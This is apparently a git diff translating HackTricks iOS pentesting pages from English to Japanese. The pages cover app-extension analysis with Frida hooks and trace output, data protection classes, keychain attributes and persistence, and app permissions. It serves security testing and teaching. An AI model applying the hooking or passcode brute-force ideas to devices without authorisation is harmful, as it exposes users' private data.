Extensionsを介して)に重要です。ユーザーがホストアプリで特定のデータタイプを選択し、ここで定義されたデータタイプと一致する場合、ホストアプリは拡張機能を提供します。これは、`UIActivity`を介したデータ共有とは異なる点に注意する価値があります。`UIActivity`ではドキュメントタイプを定義する必要がありましたが、それにはUTIも使用しました。そのため、アプリには拡張機能が必要ありません。`UIActivity`のみを使用してデータを共有することが可能です。 +アプリ拡張の`Info.plist`ファイルを調査し、`NSExtensionActivationRule`を検索します。このキーは、サポートされているデータやサポートされるアイテムの最大数などを指定します。例えば: ```markup NSExtensionAttributes - - NSExtensionActivationRule - - NSExtensionActivationSupportsImageWithMaxCount - 10 - NSExtensionActivationSupportsMovieWithMaxCount - 1 - NSExtensionActivationSupportsWebURLWithMaxCount - 1 - - + +NSExtensionActivationRule + +NSExtensionActivationSupportsImageWithMaxCount +10 +NSExtensionActivationSupportsMovieWithMaxCount +1 +NSExtensionActivationSupportsWebURLWithMaxCount +1 + + ``` +ここに存在するデータ型のみがサポートされ、`MaxCount` として `0` を持たないものがサポートされます。ただし、与えられた UTI を評価するために、所謂述語文字列を使用することでより複雑なフィルタリングが可能です。詳細な情報については、[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW8) を参照してください。 -Only the data types present here and not having `0` as `MaxCount` will be supported. However, more complex filtering is possible by using a so-called predicate string that will evaluate the UTIs given. Please refer to the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW8) for more detailed information about this. +**含まれるアプリとのデータ共有の確認** -**Checking Data Sharing with the Containing App** - -Remember that app extensions and their containing apps do not have direct access to each other’s containers. However, data sharing can be enabled. This is done via ["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\_ref/doc/uid/TP40011195-CH4-SW19) and the [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) API. See this figure from [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW11): +アプリの拡張機能とその含まれるアプリは、直接的なアクセスを持ちません。ただし、データ共有は有効にすることができます。これは、["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\_ref/doc/uid/TP40011195-CH4-SW19) と [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) API を使用して行われます。[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW11) の図を参照してください: ![](../../mobile-apps-pentesting/ios-pentesting/broken-reference) -As also mentioned in the guide, the app must set up a shared container if the app extension uses the `NSURLSession` class to perform a background upload or download, so that both the extension and its containing app can access the transferred data. +ガイドでも述べられているように、アプリ拡張機能が `NSURLSession` クラスを使用してバックグラウンドでのアップロードやダウンロードを行う場合、アプリとその含まれるアプリの両方が転送されたデータにアクセスできるように、共有コンテナを設定する必要があります。 -**Verifying if the App Restricts the Use of App Extensions** +**アプリがアプリ拡張機能の使用を制限しているかどうかの確認** -It is possible to reject a specific type of app extension by using the following method: +次のメソッドを使用して、特定の種類のアプリ拡張機能を拒否することが可能です: * [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc) -However, it is currently only possible for "custom keyboard" app extensions (and should be verified when testing apps handling sensitive data via the keyboard like e.g. banking apps). +ただし、現在は「カスタムキーボード」アプリ拡張機能に対してのみ可能であり(銀行アプリなど、キーボードを介して機密データを処理するアプリのテスト時に確認する必要があります)。 -### Dynamic Analysis +### 動的解析 -For the dynamic analysis we can do the following to gain knowledge without having the source code: +ソースコードを持たずに知識を得るために、以下のことを行うことができます。 -* Inspecting the items being shared -* Identifying the app extensions involved +* 共有されているアイテムの検査 +* 関与しているアプリ拡張機能の特定 -**Inspecting the Items Being Shared** +**共有されているアイテムの検査** -For this we should hook `NSExtensionContext - inputItems` in the data originating app. +これには、データの発生元アプリで `NSExtensionContext - inputItems` をフックする必要があります。 -Following the previous example of Telegram we will now use the "Share" button on a text file (that was received from a chat) to create a note in the Notes app with it: +Telegram の前の例に続いて、チャットから受け取ったテキストファイルの「共有」ボタンを使用して、それをノートアプリにノートとして作成します: ![](<../../.gitbook/assets/image (497).png>) -If we run a trace, we'd see the following output: - +トレースを実行すると、次の出力が表示されます: ```bash (0x1c06bb420) NSExtensionContext - inputItems 0x18284355c Foundation!-[NSExtension _itemProviderForPayload:extensionContext:] @@ -152,24 +143,22 @@ If we run a trace, we'd see the following output: RET: ( " - userInfo: { - NSExtensionItemAttachmentsKey = ( - " {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}" - ); +NSExtensionItemAttachmentsKey = ( +" {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}" +); }" ) ``` +ここでは次のことが観察されます: -Here we can observe that: +* これはXPCを介して裏で行われており、具体的には`libxpc.dylib`フレームワークを使用した`NSXPCConnection`を介して実装されています。 +* `NSItemProvider`に含まれるUTIは`public.plain-text`と`public.file-url`であり、後者はTelegramの「共有拡張」の[`Info.plist`](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist)の`NSExtensionActivationRule`に含まれています。 -* This occurred under-the-hood via XPC, concretely it is implemented via a `NSXPCConnection` that uses the `libxpc.dylib` Framework. -* The UTIs included in the `NSItemProvider` are `public.plain-text` and `public.file-url`, the latter being included in `NSExtensionActivationRule` from the [`Info.plist` of the "Share Extension" of Telegram](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist). +**関連するアプリ拡張の特定** -**Identifying the App Extensions Involved** - -You can also find out which app extension is taking care of your the requests and responses by hooking `NSExtension - _plugIn`: - -We run the same example again: +また、`NSExtension - _plugIn`をフックして、リクエストとレスポンスを処理しているアプリ拡張を特定することもできます: +同じ例を再度実行します: ```bash (0x1c0370200) NSExtension - _plugIn RET: ``` +以下は、iOSアプリの拡張機能に関する内容です: -As you can see there are two app extensions involved: +* `Share.appex`はテキストファイル(`public.plain-text`および`public.file-url`)を送信しています。 +* `com.apple.mobilenotes.SharingExtension.appex`はテキストファイルを受信し、処理します。 -* `Share.appex` is sending the text file (`public.plain-text` and `public.file-url`). -* `com.apple.mobilenotes.SharingExtension.appex` which is receiving and will process the text file. - -If you want to learn more about what's happening under-the-hood in terms of XPC, we recommend to take a look at the internal calls from "libxpc.dylib". For example you can use [`frida-trace`](https://www.frida.re/docs/frida-trace/) and then dig deeper into the methods that you find more interesting by extending the automatically generated stubs. +XPCに関して内部で何が起こっているかを詳しく知りたい場合は、「libxpc.dylib」からの内部呼び出しを確認することをおすすめします。たとえば、[`frida-trace`](https://www.frida.re/docs/frida-trace/)を使用して自動生成されたスタブを拡張し、より興味深いメソッドを探求することができます。 ### @@ -195,14 +183,14 @@ If you want to learn more about what's happening under-the-hood in terms of XPC, ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/mobile-pentesting/ios-pentesting/ios-basics.md b/mobile-pentesting/ios-pentesting/ios-basics.md index 45b6a49fd..ad6c60f6c 100644 --- a/mobile-pentesting/ios-pentesting/ios-basics.md +++ b/mobile-pentesting/ios-pentesting/ios-basics.md @@ -1,223 +1,194 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Privilege Separation and Sandbox +# 特権分離とサンドボックス -Applications the user can access run as the **mobile** user while critical system processes run as **root**.\ -However, the sandbox allows better control over actions that processes and applications can perform. +ユーザーがアクセスできるアプリケーションは**mobile**ユーザーとして実行され、重要なシステムプロセスは**root**として実行されます。\ +ただし、サンドボックスを使用すると、プロセスやアプリケーションが実行できるアクションをより制御できます。 -For example, even if two processes run as the same user (mobile), they are **not allowed to access or modify each other's data**. +たとえば、2つのプロセスが同じユーザー(mobile)として実行されていても、**お互いのデータにアクセスしたり変更したりすることはできません**。 -Each application is installed under **`private/var/mobile/Applications/{random ID}`**\ -Once installed, applications have limited read access to some system areas and functions (SMS, phone call...). If an application wants to access a **protected area,** a **pop-up requesting permission** appears. +各アプリケーションは**`private/var/mobile/Applications/{ランダムなID}`**の下にインストールされます。\ +インストールされると、アプリケーションは一部のシステム領域や機能(SMS、電話など)に対して制限付きの読み取りアクセスを持ちます。アプリケーションが**保護された領域**にアクセスしようとする場合、**許可を要求するポップアップ**が表示されます。 -# Data Protection +# データ保護 -App developers can leverage the iOS _Data Protection_ APIs to implement **fine-grained access control** for user data stored in flash memory. The APIs are built on top of the **Secure Enclave Processor** (SEP). The SEP is a coprocessor that provides **cryptographic operations for data protection and key management**. A device-specific hardware key-the **device UID** (Unique ID)-is **embedded in the secure enclave**, ensuring the integrity of data protection even when the operating system kernel is compromised. +アプリ開発者は、iOSの**データ保護**APIを活用して、フラッシュメモリに保存されたユーザーデータの**細かいアクセス制御**を実装することができます。これらのAPIは、**Secure Enclave Processor**(SEP)の上に構築されています。SEPは、データ保護とキー管理のための**暗号操作**を提供するコプロセッサです。デバイス固有のハードウェアキーである**デバイスUID**(一意のID)は、**セキュアエンクレーブに埋め込まれており**、オペレーティングシステムカーネルが侵害された場合でもデータ保護の完全性を保証します。 -When a **file is created** on the disk, a new **256-bit AES key is generated** with the help of secure enclave's hardware based random number generator. The **content of the file is then encrypted with the generated key**. And then, this **key is saved encrypted with a class key** along with **the class ID,** with **both data encrypted by the system's key,** inside the **metadata** of the file. +**ファイルがディスク上に作成**されると、**256ビットのAESキーが生成**されます。このキーは、セキュアエンクレーブのハードウェアベースの乱数生成器の助けを借りて生成されます。**ファイルの内容は生成されたキーで暗号化**されます。そして、このキーは、**クラスキーとクラスIDと共に暗号化された状態でシステムのキーによって暗号化されたデータ**とともに、ファイルの**メタデータ**に保存されます。 ![](<../../.gitbook/assets/image (473).png>) -For decrypting the file, the **metadata is decrypted using the system's key**. Then u**sing the class ID** the **class key is retrieved** **to decrypt the per-file key and decrypt the file.** +ファイルを復号するためには、**メタデータをシステムのキーで復号**する必要があります。次に、**クラスID**を使用して**クラスキーを取得**し、**ファイルのキーを復号**してファイルを復号します。 -Files can be assigned to one of **four** **different** **protection** classes, which are explained in more detail in the [Apple Platform Security Guide](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf): +ファイルは、[Apple Platform Security Guide](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf)で詳しく説明されている**4つの異なる保護クラス**のいずれかに割り当てることができます。 -* **Complete Protection (NSFileProtectionComplete)**: A key derived from the user passcode and the device UID protects this class key. The derived key is wiped from memory shortly after the device is locked, making the data inaccessible until the user unlocks the device. -* **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: This protection class is similar to Complete Protection, but, if the file is opened when unlocked, the app can continue to access the file even if the user locks the device. This protection class is used when, for example, a mail attachment is downloading in the background. -* **Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication)**: The file can be accessed as soon as the user unlocks the device for the first time after booting. It can be accessed even if the user subsequently locks the device and the class key is not removed from memory. -* **No Protection (NSFileProtectionNone)**: The key for this protection class is protected with the UID only. The class key is stored in "Effaceable Storage", which is a region of flash memory on the iOS device that allows the storage of small amounts of data. This protection class exists for fast remote wiping (immediate deletion of the class key, which makes the data inaccessible). +* **Complete Protection (NSFileProtectionComplete)**: ユーザーのパスコードとデバイスUIDから派生したキーがこのクラスキーを保護します。デバイスがロックされるとすぐに、派生キーはメモリから削除されるため、ユーザーがデバイスをアンロックするまでデータにアクセスできません。 +* **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: この保護クラスはComplete Protectionと似ていますが、ファイルがアンロックされた状態で開かれている場合、ユーザーがデバイスをロックしてもアプリはファイルにアクセスし続けることができます。この保護クラスは、たとえばメールの添付ファイルがバックグラウンドでダウンロードされている場合に使用されます。 +* **Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication)**: ユーザーがデバイスを起動後、初めてデバイスをアンロックするとすぐにファイルにアクセスできます。ユーザーがその後デバイスをロックしても、クラスキーはメモリから削除されずにアクセスできます。 +* **No Protection (NSFileProtectionNone)**: この保護クラスのキーはUIDのみで保護されます。クラスキーは「Effaceable Storage」と呼ばれる領域に格納されます。Effaceable Storageは、iOSデバイスのフラッシュメモリの一部であり、小量のデータを保存することができます。この保護クラスは、データをすぐにリモートで削除するために存在します。 -All class keys except `NSFileProtectionNone` are encrypted with a key derived from the device UID and the user's passcode. As a result, decryption can happen only on the device itself and requires the correct passcode. +`NSFileProtectionNone`以外のすべてのクラスキーは、デバイスUIDとユーザーのパスコードから派生したキーで暗号化されます。そのため、復号はデバイス自体でのみ行われ、正しいパスコードが必要です。 -Since iOS 7, the default data protection class is "Protected Until First User Authentication". +iOS 7以降、デフォルトのデータ保護クラスは「Protected Until First User Authentication」です。 -[**FileDP**](https://github.com/abjurato/FileDp-Source) is a program that you can upload and use inside the IPhone to **inspect the data protection class** of each file. +[**FileDP**](https://github.com/abjurato/FileDp-Source)は、各ファイルの +* **`kSecAttrAccessibleAlways`**: キーチェーンアイテムのデータは、デバイスがロックされているかどうかに関係なく、常にアクセスできます。 +* **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: キーチェーンアイテムのデータは、デバイスがロックされているかどうかに関係なく、常にアクセスできます。データはiCloudやローカルバックアップに含まれません。 +* **`kSecAttrAccessibleAfterFirstUnlock`**: ユーザーによってデバイスが一度ロック解除されるまで、キーチェーンアイテムのデータにはアクセスできません。 +* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: ユーザーによってデバイスが一度ロック解除されるまで、キーチェーンアイテムのデータにはアクセスできません。この属性を持つアイテムは新しいデバイスに移行しません。したがって、異なるデバイスのバックアップから復元した後、これらのアイテムは存在しません。 +* **`kSecAttrAccessibleWhenUnlocked`**: ユーザーによってデバイスがロック解除されている間のみ、キーチェーンアイテムのデータにアクセスできます。 +* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: ユーザーによってデバイスがロック解除されている間のみ、キーチェーンアイテムのデータにアクセスできます。データはiCloudやローカルバックアップに含まれません。 +* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: デバイスがロック解除されている場合にのみ、キーチェーンのデータにアクセスできます。この保護クラスは、デバイスにパスコードが設定されている場合にのみ使用できます。データはiCloudやローカルバックアップに含まれません。 -## The Keychain +**`AccessControlFlags`**は、ユーザーがキーに対して認証できるメカニズムを定義します(`SecAccessControlCreateFlags`): -A keychain is an **encrypted** **container** where every application can **store** **sensitive** pieces of **information** and only the same app (or authorised apps) can retrieve the contents.\ -The iOS **generated its own password for the keychain** and **stores** an **encrypted** version of this key in the device. This password is encrypted with AES using an AES key created by a **PBKDF2** function of the **user's passcode + salt** (the 256 bit device **UID** **only** **accessible** to the secure **enclave chipset** on the device). Due to the use of this device UID as salt, a device won't be able to decrypt the keychain of a different device even knowing the users passcode. +* **`kSecAccessControlDevicePasscode`**: パスコードを使用してアイテムにアクセスします。 +* **`kSecAccessControlBiometryAny`**: 登録されたTouch IDの指紋のいずれかを使用してアイテムにアクセスします。指紋の追加や削除はアイテムを無効にしません。 +* **`kSecAccessControlBiometryCurrentSet`**: 登録されたTouch IDの指紋のいずれかを使用してアイテムにアクセスします。指紋の追加や削除はアイテムを無効にします。 +* **`kSecAccessControlUserPresence`**: 登録された指紋(Touch IDを使用)のいずれかを使用してアイテムにアクセスするか、パスコードをデフォルトとします。 -Access to the Keychain is managed by the **`securityd`** daemon, which grants access according to the app's `Keychain-access-groups`, `application-identifier`, and `application-group` entitlements. +Touch IDによって保護されたキー(`kSecAccessControlBiometryAny`または`kSecAccessControlBiometryCurrentSet`を使用)は、セキュアエンクレーブによって保護されています。キーチェーンにはトークンのみが保持され、実際のキーはセキュアエンクレーブに存在します。 -The [Keychain API](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) includes the following main operations: +iPhoneは、デバイスのロックを解除するためにユーザーが導入したパスコードを使用してキーチェーンの秘密を復号化します。 -* `SecItemAdd` -* `SecItemUpdate` -* `SecItemCopyMatching` -* `SecItemDelete` +iOSは、_**AppIdentifierPrefix**_(チームID)と_**BundleIdentifier**_(開発者が提供する)を使用して、キーチェーンアイテムへのアクセス制御を強制します。その後、同じチームは2つのアプリをキーチェーンアイテムを共有するように設定できます。 -The only ways to try to BF this password is dumping the encrypted key and BF the passcode + salt (the **pbkdf2** function uses **at least 10000 iteration**s). Or trying to **BF inside the device** to avoids BFing the salt, however, secure enclave ensures there is at least a **5s delay between 2 failed password attempts**. - -You can configure **data protection for Keychain items** by setting the `kSecAttrAccessible` key in the call to `SecItemAdd` or `SecItemUpdate`.The following configurable [accessibility values for kSecAttrAccessible](https://developer.apple.com/documentation/security/keychain\_services/keychain\_items/item\_attribute\_keys\_and\_values#1679100) are the Keychain Data Protection classes: - -* **`kSecAttrAccessibleAlways`**: The data in the Keychain item can **always be accessed**, regardless of whether the device is locked. -* **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: The data in the Keychain item can **always** **be** **accessed**, regardless of whether the device is locked. The data **won't be included in an iCloud** or local backup. -* **`kSecAttrAccessibleAfterFirstUnlock`**: The data in the Keychain item can't be accessed after a restart until the **device has been unlocked once** by the user. -* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: The data in the Keychain item can't be accessed after a restart until the **device has been unlocked once** by the user. Items with this attribute do **not migrate to a new device**. Thus, after restoring from a backup of a different device, these items will not be present. -* **`kSecAttrAccessibleWhenUnlocked`**: The data in the Keychain item can be accessed **only while the device is unlocked** by the user. -* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: The data in the Keychain item can be accessed **only while the device is unlocked** by the user. The data **won't be included in an iCloud or local backup**. -* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: The data in the Keychain can be accessed **only when the device is unlocked**. This protection class is **only available if a passcode is set** on the device. The data w**on't be included in an iCloud or local backup**. - -**`AccessControlFlags`** define the mechanisms with which users can authenticate the key (`SecAccessControlCreateFlags`): - -* **`kSecAccessControlDevicePasscode`**: Access the item via a passcode. -* **`kSecAccessControlBiometryAny`**: Access the item via one of the fingerprints registered to Touch ID. Adding or removing a fingerprint won't invalidate the item. -* **`kSecAccessControlBiometryCurrentSet`**: Access the item via one of the fingerprints registered to Touch ID. Adding or removing a fingerprint _will_ invalidate the item. -* **`kSecAccessControlUserPresence`**: Access the item via either one of the registered fingerprints (using Touch ID) or default to the passcode. - -Please note that keys secured by Touch ID (via `kSecAccessControlBiometryAny` or `kSecAccessControlBiometryCurrentSet`) are protected by the Secure Enclave: The Keychain holds a token only, not the actual key. The key resides in the Secure Enclave. - -The iPhone uses the **passcode introduced by the user unlocking the device to decrypt the secrets in the keychain**. - -iOS uses the _**AppIdentifierPrefix**_ (Team ID) and the _**BundleIdentifier**_ (provided by the dev) to enforce **access control oven keychain items**. Then, the same team **can** **configure** **2 apps to share keychain items**. - -When a backup process is initiated the keychain **data backed up remains encrypted and the keychain password isn't included in the backup**. +バックアッププロセスが開始されると、キーチェーンのデータは暗号化されたままバックアップされ、キーチェーンのパスワードはバックアップに含まれません。 {% hint style="warning" %} -**In a jailbroken device the keychain isn't protected.** +**脱獄されたデバイスでは、キーチェーンは保護されません。** {% endhint %} -### **Keychain Data Persistence** +### **キーチェーンデータの永続性** -On iOS, when an application is uninstalled, the Keychain data used by the application is retained by the device, unlike the data stored by the application sandbox which is wiped. In the event that a **user sells their device without performing a factory reset, the buyer of the device may be able to gain access to the previous user's application accounts and data by reinstalling** the same applications used by the previous user. This would require no technical ability to perform. +iOSでは、アプリケーションがアンインストールされると、アプリケーションによって使用されるキーチェーンデータはデバイスに保持されますが、アプリケーションのサンドボックスに保存されるデータは削除されます。デバイスのユーザーが工場出荷時のリセットを行わずにデバイスを販売する場合、前のユーザーが使用していた同じアプリケーションを再インストールすることで、デバイスの購入者は前のユーザーのアプリケーションアカウントとデータにアクセスできる場合があります。これには技術的な能力は必要ありません。 -There's no iOS API that developers can use to force wipe data when an application is uninstalled. Instead, developers should take the following steps to prevent Keychain data from persisting between application installations: - -* When an application is first launched after installation, wipe all Keychain data associated with the application. This will prevent a device's second user from accidentally gaining access to the previous user's accounts. The following Swift example is a basic demonstration of this wiping procedure: +アプリケーションがアンインストールされる際にデータを強制的に削除するために、開発者が使用できるiOSのAPIはありません。代わりに、開発者は次の手順を実行して、アプリケーションのインストール間にキーチェーンデータが永続化されないようにする必要があります: +* インストール後、アプリケーションが初めて起動されると、アプリケーションに関連するすべてのキーチェーンデータを削除します。これにより、デバイスの2番目のユーザーが前のユーザーのアカウントに誤ってアクセスすることが防止されます。以下のSwiftの例は、この削除手順の基本的なデモンストレーションです: ```objectivec let userDefaults = UserDefaults.standard if userDefaults.bool(forKey: "hasRunBefore") == false { - // Remove Keychain items here +// Remove Keychain items here - // Update the flag indicator - userDefaults.set(true, forKey: "hasRunBefore") - userDefaults.synchronize() // Forces the app to update UserDefaults +// Update the flag indicator +userDefaults.set(true, forKey: "hasRunBefore") +userDefaults.synchronize() // Forces the app to update UserDefaults } ``` +* iOSアプリケーションのログアウト機能を開発する際には、アカウントのログアウトの一環としてKeychainのデータが削除されることを確認してください。これにより、ユーザーはアプリケーションをアンインストールする前にアカウントをクリアすることができます。 -* When developing logout functionality for an iOS application, make sure that the Keychain data is wiped as part of account logout. This will allow users to clear their accounts before uninstalling an application. +# **アプリケーションの機能** -# **App Capabilities** +**各アプリには固有のホームディレクトリがあり、サンドボックス化されています**。これにより、保護されたシステムリソースやシステムまたは他のアプリによって保存されたファイルにアクセスすることはできません。これらの制限は、[Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html)によってカーネル拡張を介して実施されるサンドボックスポリシー(またはプロファイル)によって実装されています。 -**Each app has a unique home directory and is sandboxed**, so that they cannot access protected system resources or files stored by the system or by other apps. These restrictions are implemented via sandbox policies (aka. _profiles_), which are enforced by the [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) via a kernel extension. +一部の[**機能/許可**](https://help.apple.com/developer-account/#/dev21218dfd6)は、アプリの開発者によって設定できます(例:データ保護またはKeychain共有)し、インストール後に直接効果が現れます。ただし、他の機能については、**アプリが保護されたリソースにアクセスしようとする最初の時にユーザーに明示的に尋ねられます**。 -Some [**capabilities/permissions**](https://help.apple.com/developer-account/#/dev21218dfd6) can be configured by the app's developers (e.g. Data Protection or Keychain Sharing) and will directly take effect after the installation. However, for others, **the user will be explicitly asked the first time the app attempts to access a protected resource**. - -[_Purpose strings_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322) or _usage description strings_ are custom texts that are offered to users in the system's permission request alert when requesting permission to access protected data or resources. +[_目的の文字列_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322)または_使用目的の文字列_は、保護されたデータやリソースへのアクセスの許可を要求する際に、システムの許可リクエストアラートでユーザーに提供されるカスタムテキストです。 ![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission\_request\_alert.png?alt=media) -If having the original source code, you can verify the permissions included in the `Info.plist` file: +元のソースコードがある場合は、`Info.plist`ファイルに含まれる許可を確認できます: -* Open the project with Xcode. -* Find and open the `Info.plist` file in the default editor and search for the keys starting with `"Privacy -"`. +* Xcodeでプロジェクトを開きます。 +* デフォルトのエディタで`Info.plist`ファイルを見つけて開き、`"Privacy -"`で始まるキーを検索します。 -You may switch the view to display the raw values by right-clicking and selecting "Show Raw Keys/Values" (this way for example `"Privacy - Location When In Use Usage Description"` will turn into `NSLocationWhenInUseUsageDescription`). +右クリックして「Show Raw Keys/Values」を選択することで、ビューを生の値に切り替えることができます(これにより、たとえば`"Privacy - Location When In Use Usage Description"`が`NSLocationWhenInUseUsageDescription`に変わります)。 -If only having the IPA: +IPAのみがある場合: -* Unzip the IPA. -* The `Info.plist` is located in `Payload/.app/Info.plist`. -* Convert it if needed (e.g. `plutil -convert xml1 Info.plist`) as explained in the chapter "iOS Basic Security Testing", section "The Info.plist File". -* Inspect all _purpose strings Info.plist keys_, usually ending with `UsageDescription`: +* IPAを解凍します。 +* `Info.plist`は`Payload/.app/Info.plist`にあります。 +* 必要に応じて変換します(例:`plutil -convert xml1 Info.plist`)。「iOS Basic Security Testing」の章、「The Info.plist File」のセクションで説明されているように。 +* 通常、すべての目的の文字列Info.plistキーを調べます。これらは通常、`UsageDescription`で終わります: - ```markup - - - NSLocationWhenInUseUsageDescription - Your location is used to provide turn-by-turn directions to your destination. - ``` +```markup + + +NSLocationWhenInUseUsageDescription +Your location is used to provide turn-by-turn directions to your destination. +``` -## Device Capabilities - -Device capabilities are used by the App Store to ensure that only compatible devices are listed and therefore are allowed to download the app. They are specified in the `Info.plist` file of the app under the 